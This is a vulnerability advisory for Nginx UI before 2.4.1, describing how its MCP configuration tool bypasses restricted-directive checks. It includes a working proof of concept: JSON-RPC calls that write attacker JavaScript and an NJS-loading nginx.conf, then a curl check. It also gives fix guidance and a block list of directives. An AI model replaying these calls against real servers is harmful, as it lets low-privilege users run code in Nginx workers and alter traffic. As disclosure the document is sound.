CVE-2026-84319: Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context
Summary
The regular HTTP configuration API rejects restricted Nginx directives such as loadmodule, jsimport, and jscontent.
However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngxhttpjsmodule.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.
This is authenticated and is not OS command execution by itself.
Affected component
- /mcp - /mcpmessage - MCP tool: nginxconfigadd - Nginx configuration validation
Impact
A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.
This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.
Minimal PoC
Preconditions
- Attacker has a secondary authenticated Nginx UI account. - MCP is enabled. - Nginx has NJS available:
bash find / -name "ngxhttpjsmodule.so" 2>/dev/null
Observed in the lab:
text /usr/lib/nginx/modules/ngxhttpjsmodule.so
1. HTTP API blocks the restricted config
Request:
http POST /api/configs Authorization: <SECONDARYUSERJWT> Content-Type: application/json
Body:
json { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nevents { workerconnections 1024; }\n\nhttp {\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" }
Observed result:
text Rejected because the content contains restricted directives such as loadmodule/jsimport/jscontent.
2. MCP writes the JavaScript file
Open an MCP session and call tools/call with:
json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "poc.js", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "function handler(r) { r.return(200, \"MCPNJSMARKER\\n\"); }\nexport default { handler };\n" } } }
3. MCP writes the NJS-enabled nginx.conf
Call tools/call again:
json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "nginx.conf", "basedir": "", "overwrite": true, "syncnodeids": [], "content": "loadmodule modules/ngxhttpjsmodule.so;\n\nuser nginx;\nworkerprocesses auto;\n\nerrorlog /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { workerconnections 1024; }\n\nhttp {\n defaulttype application/octet-stream;\n jsimport poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /poc { jscontent poc.handler; }\n }\n}\n" } } }
4. Verify NJS execution
Inside the Nginx UI container:
bash curl -i http://127.0.0.1:18249/poc
Observed response:
http HTTP/1.1 200 OK
MCPNJSMARKER
This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.
Expected behavior
MCP configuration tools should enforce the same restricted directive validation as the HTTP API.
Suggested fix
Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:
- loadmodule - jsimport - jscontent - jsset - perlset - user root
Other sources
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as loadmodule, jsimport, and jscontent. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngxhttpjsmodule.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/0xJacky/Nginx-UIto a version that resolves this vulnerability.Fixed in 1.9.10-0.20260703131214-23d1934099b0 - Upgrade
Upgrade
Nginx UIto a version that resolves this vulnerability.Fixed in 2.4.1 - Compensating control
Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure the MCP configuration interface uses the same restricted-directive validation tests as the HTTP API, including validation for load_module, js_import, and js_content.
Event History
Frequently Asked Questions
Who can exploit this issue?
A secondary authenticated Nginx UI user can exploit it through the MCP configuration interface. Exploitation does not require user interaction and can be performed remotely over the network by an authenticated user.
What access and capabilities does an attacker need?
The attacker needs credentials for a secondary authenticated user account and access to the MCP configuration interface. They can use it to apply restricted configuration content, load the NJS module, import attacker-controlled JavaScript, and reload Nginx.
What is the resulting impact?
Successful exploitation allows attacker-controlled NJS to execute in the Nginx worker context. The reported impacts include high integrity and availability impact, with low confidentiality impact.
Which versions are affected and what fixes the issue?
Nginx UI versions prior to 2.4.1 are affected. Upgrade to version 2.4.1, which fixes the MCP interface validation bypass.